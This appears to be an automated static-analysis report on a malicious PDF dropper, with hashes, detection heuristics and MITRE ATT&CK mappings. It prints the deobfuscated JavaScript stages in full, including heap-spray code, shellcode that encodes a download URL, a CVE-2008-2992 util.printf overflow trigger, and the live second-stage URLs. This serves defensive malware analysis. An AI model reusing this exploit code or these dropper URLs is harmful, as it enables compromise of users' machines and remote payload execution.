Malicious PDF — malware analysis report

Static analysis result for SHA-256 87b4e8d04581e410…

MALICIOUS

PDF

4.1 KB First seen: 2026-05-04
MD5: 922f7e59c434e828b76879b1e1be9d39 SHA-1: d7370de65c5fe0555b57047b5b665f747bbcc231 SHA-256: 87b4e8d04581e41072ced0cd7e6bab6f84f816e4f2bed8d0c55c0d897f490939
336 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that utilizes a heap spray technique and exploits CVE-2008-2992 via the util.printf function. This script is designed to download and execute a second-stage payload from the URLs http://wLuMMt.elvKlrVOn/4V2lAi6 or http://93.174.93.11/~delmonca/u/load.php. The presence of exploit-related heuristics and the embedded URLs strongly indicate a malicious dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • ClamAV: Pdf.Dropper.Agent-7279456-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7279456-0
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                            eval(output);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wLuMMt.elvKlrVOn/4V2lAi6 Referenced by PDF JavaScript
    • http://93.174.93.11/~delmonca/u/load.phpReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x368 6361 bytes
SHA-256: 2ba9900c1f9b229f3116df4422bb2d611cd4bf43f952f383e32b5657938d5980
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var Base64 = {
                _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
                decode : function (input) {
                        var output = "";
                        var chr1, chr2, chr3;
                        var enc1, enc2, enc3, enc4;
                        var i = 0;
                        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
                        while (i < input.length) {
                                enc1 = this._keyStr.indexOf(input.charAt(i++));
                                enc2 = this._keyStr.indexOf(input.charAt(i++));
                                enc3 = this._keyStr.indexOf(input.charAt(i++));
                                enc4 = this._keyStr.indexOf(input.charAt(i++));
                                chr1 = (enc1 << 2) | (enc2 >> 4);
                                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                                chr3 = ((enc3 & 3) << 6) | enc4;
                                output = output + String.fromCharCode(chr1);
                                if (enc3 != 64) {
                                        output = output + String.fromCharCode(chr2);
                                }
                                if (enc4 != 64) {
                                        output = output + String.fromCharCode(chr3);
                                }
                        }
                        eval(output);
                }
        }
        Base64.decode("ZnVuY3Rpb24gUGdmTDdaU3ZYKGlyVlpKYil7IHJldHVybiBTdHJpbmdbJ2Zyb21DaGFyQ29kZSddKGlyVlpKYik7fSBmdW5jdGlvbiBJQm1CUW80QXdRdXdsYShEdGNORSl7IHZhciBMMzZmeVBVUUlkczU9MCwgdlZLUWxvclBWek9Pbkk9RHRjTkUubGVuZ3RoLCBRNFhWUjJVbHBBT2lZNj0xMDI0LCBWRHpzWSwgZ3dvTEx1bU0sIEFoU25vZTV6MFlMRD0nJywgeGlweUtGWD1MMzZmeVBVUUlkczUsIEFIS0Mza0xROGdCVj1MMzZmeVBVUUlkczUsIGpTYUw3N2p1PUwzNmZ5UFVRSWRzNSwgTW9wNnFBVEZVWD1BcnJheSg2MywzNCw1LDcsMzksMzIsNTUsMzMsMTksMzAsMCwwLDAsMCwwLDAsOCwxNCwwLDI2LDMsMjIsMjksMjgsMTEsNjEsMzcsMjMsOSwxNSwxMCw1NCwyMSwxMyw0NiwzNiwxNiwzMSw0Myw1MCwxMiw1Myw2MCwwLDAsMCwwLDQwLDAsNDIsNTEsNCwyNyw1NiwzOCw0OCw0OSw0NSwyNCw1MiwxOCw1Nyw1OSw1OCw0NywzNSwyNSw0NCw2LDIsMSwxNyw2Miw0MSwyMCk7IGZvcihnd29MTHVtTT1NYXRoLmNlaWwodlZLUWxvclBWek9PbkkvUTRYVlIyVWxwQU9pWTYpO2d3b0xMdW1NPkwzNmZ5UFVRSWRzNTtnd29MTHVtTS0tKXsgZm9yKFZEenNZPU1hdGgubWluKHZWS1Fsb3JQVnpPT25JLFE0WFZSMlVscEFPaVk2KTtWRHpzWT5MMzZmeVBVUUlkczU7VkR6c1ktLSx2VktRbG9yUFZ6T09uSS0tKXsgalNhTDc3anV8PShNb3A2cUFURlVYW0R0Y05FLmNoYXJDb2RlQXQoeGlweUtGWCsrKS00OF0pPDxBSEtDM2tMUThnQlY7IGlmKEFIS0Mza0xROGdCVil7IEFoU25vZTV6MFlMRCs9UGdmTDdaU3ZYKDE4Nl5qU2FMNzdqdSYyNTUpOyBqU2FMNzdqdT4+PTg7IEFIS0Mza0xROGdCVi09MjsgfSBlbHNlIHsgQUhLQzNrTFE4Z0JWPTY7IH0gfSB9IGV2YWwoQWhTbm9lNXowWUxEKTsgfSBJQm1CUW80QXdRdXdsYSgnTEhJNkVkRk9Qbkk2M3hYWVU0R09kVlo2bDFtNE1uajFBZmU0TW5qMUFmZTRNbmoxQWZlNE1WQDAwcTA0TTRqMU0xMDRNYkBxbU1lNE1IXzFlTWU0TUhfMU5SZTRNME0wTGZlNE0wTTFBZmU0TTBNeFpwMDRNMHA1TnhlNE1iTTAwNDA0TWJNMFpiMDRNSEB4UVcwNE1uTTBBeDA0TTBNMDBiMDRNYl9xMGIwNE0wVTFuYjA0TU1AMFhvZTRNbkAxWjRlNE1NQDBYb2U0TWJlMDA2ZTRNME0wTmZlNE0wTTAwcTA0TWJfcTBiMDRNcTA1TmZlNE1iZTF1T2U0TTAwMW5wZTRNVmpxTmZlNE0wTTBIUmU0TTBNMDBiMDRNcDB4WFdlNE1xMDUwcTA0TTZqcXVPZTRNYmVxSFJlNE1WanEwcGU0TTBNMEhXMDRNME0wMGIwNE1wMHhYV2U0TXEwNTA2ZTRNNDB4dU9lNE1wXzFNVzA0TVZqcUBvMDRNME0wTm8wNE0wTTAwYjA0TXAweFhXZTRNcTA1MDRlNE1WXzF1T2U0TVZAMEBSZTRNVmpxdVcwNE0wTTBMMTA0TTBNMDBiMDRNcDB4WFdlNE1xMDVaYjA0TXFlMHVPZTRNVmV4RFdlNE1WanFNT2U0TTBNMEBBZTRNME0wMGIwNE1wMHhYV2U0TXBNMFpxMDRNblVxWFcwNE1NZXhAZjA0TWJAcUh4ZTRNYlVxbnAwNE0wcDVOV2U0TTBNMDAwMDRNcTAxMGIwNE1NZXhYV2U0TWJfcW1xMDRNME14bnAwNE0wMDB1eGU0TWJfcWViZTRNYlVxZXAwNE1WanFlTWU0TTBNMFhvZTRNME0wMGIwNE1IanFlYjA0TWIwcXhNZTRNTUAwbVZlNE02XzVOT2U0TTBNMDBiMDRNYkBxMGIwNE1iVTFucDA0TXFleFhvZTRNcUAwWGYwNE1iQHFlYjA0TTRNMG5wMDRNcF8xdU9lNE0wTTAwYjA0TXFNMDBiMDRNcDB4WG9lNE1IZXFacTA0TXFNcTBuMDRNcTB4WG9lNE1WanFaNmU0TTBNMHV4MDRNME0wMGIwNE1wMHgwNDA0TXFfNW1iMDRNcVUxMGIwNE00MDFEUmU0TXFfNXVSMDRNME14bmIwNE1IZXhET2U0TTBNMDBiMDRNTWV4SGFlNE1iX3FtYjA0TTBVMW5wMDRNMDAwdXhlNE1iX3FlYmU0TWJVcWVwMDRNcE0wTk9lNE0wTTAwYjA0TUhlcTBiMDRNcVVxMEhlNE1wMHgwNDA0TW5VeG1xMDRNcVV4TG9lNE1wXzFlNDA0TTRNMERSMDRNcVV4ZWIwNE1wMHhYb2U0TUhlcVo0ZTRNcU1xMHAwNE1xMHhYb2U0TVZqcVo2ZTRNME0wbTQwNE0wTTAwYjA0TTBNMHV4ZTRNTWV4SGFlNE1iX3FtYjA0TTBVcW5wMDRNMHAwdXhlNE1iX3FlYmU0TWJVcWVwMDRNYk0wTk9lNE0wTTAwYjA0TUhlcTBiMDRNYl9xSGFlNE1iTTBucDA0TTAwMHV4ZTRNYl9xZWJlNE1iVXFlcDA0TTBNME5PZTRNME0wMGIwNE1wMDAwYjA0TXFwMGVuZTRNVmUwMDQwNE1WZTAwNDA0TVZlMDA0MDRNVmUwMDQwNE1WajFYZjA0TXEwcTBxMDRNYl9xZTQwNE1WXzBMeGU0TXFwMEhOZTRNVkAwSGFlNE1iX3FlcDA0TWJfcU5mZTRNMFVxRDFlNE1xTTFYb2U0TXEwNTA0ZTRNTWp4WG9lNE1iX3F4NGU0TWIwMUQxMDRNMFV4RE9lNE1xMDVIZjA0TU1lNVhvZTRNMFV4bWIwNE1uVXhIZjA0TXBNcUBXZTRNbkAxbjAwNE1xangwNDA0TW5VeGVNZTRNMHAxSEFlNE1iTTBNUmU0TXBfMHgwZTRNMFVxRDEwNE1xZTFAeDA0TTBVeDBxZTRNcE0wSG8wNE1wZTBOb2U0TXBlMXhuZTRNTWV4ZXBlNE1xMHFOUjA0TVZfcVhvZTRNcTBxWG9lNE0wVXhtcTA0TUhlNUwxZTRNMFUxWG9lNE1iX3FubmU0TWJVMWUwZTRNNEAxMDQwNE0wTXhYb2U0TTBVeFhvZTRNcTAxQFIwNE1xXzBlcWU0TTBNMDA2ZTRNcEB4Tk9lNE1wXzFIUmU0TXEweEhhZTRNcFUxZW4wNE1wcDFucWU0TTBNMG5wZTRNNl9xWE5lNE02XzFRb2U0TXFAMExSMDRNNGU1QFcwNE1xZTBMZmU0TTRqcUxSZTRNcWUwTG9lNE00ajFMQWU0TTRlMUB4MDRNcUAwTFJlNE1iX3FReDA0TWJqeFh4ZTRNYkAwWG8wNE1iajFYeDA0TXFAMFhSZTRNcUAwUXhlNE1iQDBYZjA0TWJfcVhSZTRNNl8xQHgwNE02XzFYTkBmOHRfZlhwUVdDZnNXQFVlYnowRldycGlXVUhMZlV4czFuVmV4VXhzMW5WZXhqQXI1WHBRV0NsSVkzMV8xdldaT0BWTDZGVUBZSzNyV2wwaVlFNEZZOTBRSkUwUVlGbnNrdk9zazhkSTZsZnNXQDh5WVU4RjZBSGk3RzZJU0xWWFd3OWpXTnFHNVhwUVdDbElZanFaN0xWWFd6ZlpiajRzYkBNUVlGSHkxRVdGNjh0QGJkcXNmTG5aa0ZValdOcVhKTDBYT0xuWFc4OEY2bGFfSkxWWFd6Q0k2ejZpYmxVTDZGTXI1UUhJa0UwaVNMblprRjh5WVU4RjZBSEZTRzZpN05OWHFOYV8xTkFyV0FNRjYzZnNiODZGU0xuWmtGM0xZS3FRV3ZXWk9AVm1PQHFaWTNsSTZRVm14QHFaT0RIbVN2V0ZZQEhta0JVXzF2QVFndFJAMU5hajU4REdTd0FyZ2RxWFdLM3hrQlV4N0xuWmtGM3JXbDBpWUU0Rlk5MEloWHBRV0NvaVl6VUk3alJAMURBZTVEQWU1REFlNWp0TGZEQWU1REFAZncxbTVEQWU1dU5fNXVOXzV1MXJTak5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXUxclNqTl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNWp0TGZ1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1Tl81dU5fNXVOQGZ3MXk1dU5fNXVOXzV1Tl81dU5fNWp0TGZ1Tl81dU5fNXVOXzV1Tl81dU5fNXVOXzV1MXJTak5fNXVOXzV1Tl81dU5fNXVOXzVqdGViQU1pWXphWFc4OGliR0hMZlVvZXFOYV8xR3F5SjlkUVlLTXI1Jyk7");
acroform_b64_00.js deobfuscated-js PDF AcroForm base64 (decompressed) at offset 0x99D 3618 bytes
SHA-256: f4fa1db5dce8692947b6ed146df730333e0c774eab503d294358d5dd51448800
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). 31 of 60 identifiers look randomly generated (e.g. 'qeb04M4M0np04Mp_1uOe4M0M00b04MqM00b04Mp0') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function PgfL7ZSvX(irVZJb){ return String['fromCharCode'](irVZJb);} function IBmBQo4AwQuwla(DtcNE){ var L36fyPUQIds5=0, vVKQlorPVzOOnI=DtcNE.length, Q4XVR2UlpAOiY6=1024, VDzsY, gwoLLumM, AhSnoe5z0YLD='', xipyKFX=L36fyPUQIds5, AHKC3kLQ8gBV=L36fyPUQIds5, jSaL77ju=L36fyPUQIds5, Mop6qATFUX=Array(63,34,5,7,39,32,55,33,19,30,0,0,0,0,0,0,8,14,0,26,3,22,29,28,11,61,37,23,9,15,10,54,21,13,46,36,16,31,43,50,12,53,60,0,0,0,0,40,0,42,51,4,27,56,38,48,49,45,24,52,18,57,59,58,47,35,25,44,6,2,1,17,62,41,20); for(gwoLLumM=Math.ceil(vVKQlorPVzOOnI/Q4XVR2UlpAOiY6);gwoLLumM>L36fyPUQIds5;gwoLLumM--){ for(VDzsY=Math.min(vVKQlorPVzOOnI,Q4XVR2UlpAOiY6);VDzsY>L36fyPUQIds5;VDzsY--,vVKQlorPVzOOnI--){ jSaL77ju|=(Mop6qATFUX[DtcNE.charCodeAt(xipyKFX++)-48])<<AHKC3kLQ8gBV; if(AHKC3kLQ8gBV){ AhSnoe5z0YLD+=PgfL7ZSvX(186^jSaL77ju&255); jSaL77ju>>=8; AHKC3kLQ8gBV-=2; } else { AHKC3kLQ8gBV=6; } } } eval(AhSnoe5z0YLD); } IBmBQo4AwQuwla('LHI6EdFOPnI63xXYU4GOdVZ6l1m4Mnj1Afe4Mnj1Afe4Mnj1Afe4MV@00q04M4j1M104Mb@qmMe4MH_1eMe4MH_1NRe4M0M0Lfe4M0M1Afe4M0MxZp04M0p5Nxe4MbM00404MbM0Zb04MH@xQW04MnM0Ax04M0M00b04Mb_q0b04M0U1nb04MM@0Xoe4Mn@1Z4e4MM@0Xoe4Mbe006e4M0M0Nfe4M0M00q04Mb_q0b04Mq05Nfe4Mbe1uOe4M001npe4MVjqNfe4M0M0HRe4M0M00b04Mp0xXWe4Mq050q04M6jquOe4MbeqHRe4MVjq0pe4M0M0HW04M0M00b04Mp0xXWe4Mq0506e4M40xuOe4Mp_1MW04MVjq@o04M0M0No04M0M00b04Mp0xXWe4Mq0504e4MV_1uOe4MV@0@Re4MVjquW04M0M0L104M0M00b04Mp0xXWe4Mq05Zb04Mqe0uOe4MVexDWe4MVjqMOe4M0M0@Ae4M0M00b04Mp0xXWe4MpM0Zq04MnUqXW04MMex@f04Mb@qHxe4MbUqnp04M0p5NWe4M0M00004Mq010b04MMexXWe4Mb_qmq04M0Mxnp04M000uxe4Mb_qebe4MbUqep04MVjqeMe4M0M0Xoe4M0M00b04MHjqeb04Mb0qxMe4MM@0mVe4M6_5NOe4M0M00b04Mb@q0b04MbU1np04MqexXoe4Mq@0Xf04Mb@qeb04M4M0np04Mp_1uOe4M0M00b04MqM00b04Mp0xXoe4MHeqZq04MqMq0n04Mq0xXoe4MVjqZ6e4M0M0ux04M0M00b04Mp0x0404Mq_5mb04MqU10b04M401DRe4Mq_5uR04M0Mxnb04MHexDOe4M0M00b04MMexHae4Mb_qmb04M0U1np04M000uxe4Mb_qebe4MbUqep04MpM0NOe4M0M00b04MHeq0b04MqUq0He4Mp0x0404MnUxmq04MqUxLoe4Mp_1e404M4M0DR04MqUxeb04Mp0xXoe4MHeqZ4e4MqMq0p04Mq0xXoe4MVjqZ6e4M0M0m404M0M00b04M0M0uxe4MMexHae4Mb_qmb04M0Uqnp04M0p0uxe4Mb_qebe4MbUqep04MbM0NOe4M0M00b04MHeq0b04Mb_qHae4MbM0np04M000uxe4Mb_qebe4MbUqep04M0M0NOe4M0M00b04Mp000b04Mqp0ene4MVe00404MVe00404MVe00404MVe00404MVj1Xf04Mq0q0q04Mb_qe404MV_0Lxe4Mqp0HNe4MV@0Hae4Mb_qep04Mb_qNfe4M0UqD1e4MqM1Xoe4Mq0504e4MMjxXoe4Mb_qx4e4Mb01D104M0UxDOe4Mq05Hf04MMe5Xoe4M0Uxmb04MnUxHf04MpMq@We4Mn@1n004Mqjx0404MnUxeMe4M0p1HAe4MbM0MRe4Mp_0x0e4M0UqD104Mqe1@x04M0Ux0qe4MpM0Ho04Mpe0Noe4Mpe1xne4MMexepe4Mq0qNR04MV_qXoe4Mq0qXoe4M0Uxmq04MHe5L1e4M0U1Xoe4Mb_qnne4MbU1e0e4M4@10404M0MxXoe4M0UxXoe4Mq01@R04Mq_0eqe4M0M006e4Mp@xNOe4Mp_1HRe4Mq0xHae4MpU1en04Mpp1nqe4M0M0npe4M6_qXNe4M6_1Qoe4Mq@0LR04M4e5@W04Mqe0Lfe4M4jqLRe4Mqe0Loe4M4j1LAe4M4e1@x04Mq@0LRe4Mb_qQx04MbjxXxe4Mb@0Xo04Mbj1Xx04Mq@0XRe4Mq@0Qxe4Mb@0Xf04Mb_qXRe4M6_1@x04M6_1XN@f8t_fXpQWCfsW@Uebz0FWrpiWUHLfUxs1nVexUxs1nVexjAr5XpQWClIY31_1vWZO@VL6FU@YK3rWl0iYE4FY90QJE0QYFnskvOsk8dI6lfsW@8yYU8F6AHi7G6ISLVXWw9jWNqG5XpQWClIYjqZ7LVXWzfZbj4sb@MQYFHy1EWF68t@bdqsfLnZkFUjWNqXJL0XOLnXW88F6la_JLVXWzCI6z6iblUL6FMr5QHIkE0iSLnZkF8yYU8F6AHFSG6i7NNXqNa_1NArWAMF63fsb86FSLnZkF3LYKqQWvWZO@VmO@qZY3lI6QVmx@qZODHmSvWFY@HmkBU_1vAQgtR@1Naj58DGSwArgdqXWK3xkBUx7LnZkF3rWl0iYE4FY90IhXpQWCoiYzUI7jR@1DAe5DAe5DAe5jtLfDAe5DA@fw1m5DAe5uN_5uN_5u1rSjN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5u1rSjN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5jtLfuN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN_5uN@fw1y5uN_5uN_5uN_5uN_5jtLfuN_5uN_5uN_5uN_5uN_5uN_5u1rSjN_5uN_5uN_5uN_5uN_5jtebAMiYzaXW88ibGHLfUoeqNa_1GqyJ9dQYKMr5');
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 2 (PDF /JS object 13) at offset 0x95E 2025 bytes
SHA-256: 85fe71200c33f398824631ccde606ec4fbbce8035fb8611c145accabab2137e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
shellcode=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u392F%u2E33%u3731%u2E34%u3339%u312E%u2F31%u647E%u6C65%u6F6D%u636E%u2F61%u2F75%u6F6C%u6461%u702E%u7068"); var spr=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+shellcode.length;while(spr.length<fg)spr+=spr;var nmbr=spr.substring(0,fg);var stig=spr.substring(0,spr.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+shellcode}var dlnm="12999999999"+"99999"+"99998888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",dlnm);

Open this report in the interactive analyzer, or submit your own file for analysis.